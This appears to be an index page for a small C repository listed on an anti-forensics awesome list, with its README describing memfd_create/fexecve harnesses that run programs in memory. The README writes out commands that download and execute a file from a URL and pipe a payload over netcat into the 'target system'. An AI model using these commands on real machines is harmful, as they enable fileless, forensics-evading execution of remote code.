Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/droberson/harness
execute stuff in memory
https://github.com/droberson/harness
Last synced: 24 days ago
JSON representation
execute stuff in memory
- Host: GitHub
- URL: https://github.com/droberson/harness
- Owner: droberson
- Created: 2019-07-21T19:21:40.000Z (over 5 years ago)
- Default Branch: master
- Last Pushed: 2019-07-21T19:23:52.000Z (over 5 years ago)
- Last Synced: 2024-08-03T22:04:16.852Z (4 months ago)
- Language: C
- Size: 1.95 KB
- Stars: 8
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
- awesome-anti-forensic - Harness
README
# memfd_create/fexecve harnesses
These exceute programs in memory. The programs can be delivered via stdin or
from an URL.## Building
This has only been tested on Ubuntu 18.04.
```
sudo apt install libcurl4-openssl-dev
make
```## From URL
This will download _file_ from _host_, and execute it with _args_.```
./fexecve-from-url http://host/file args
```## Using netcat (method1)
This connects to _host_ on _port_ to receive the payload.* On system serving the payload:
```
cat file | nc -lp port
```* On target system:
```
nc host port | ./fexecve-from-stdin args
```## Using netcat (method2)
This listens for incoming connections on port 4444 to receive the payload.* On target system:
```
nc -lp 4444 | ./fexecve-from-stdin args
```* Send a payload:
```
cat file | nc target 4444
```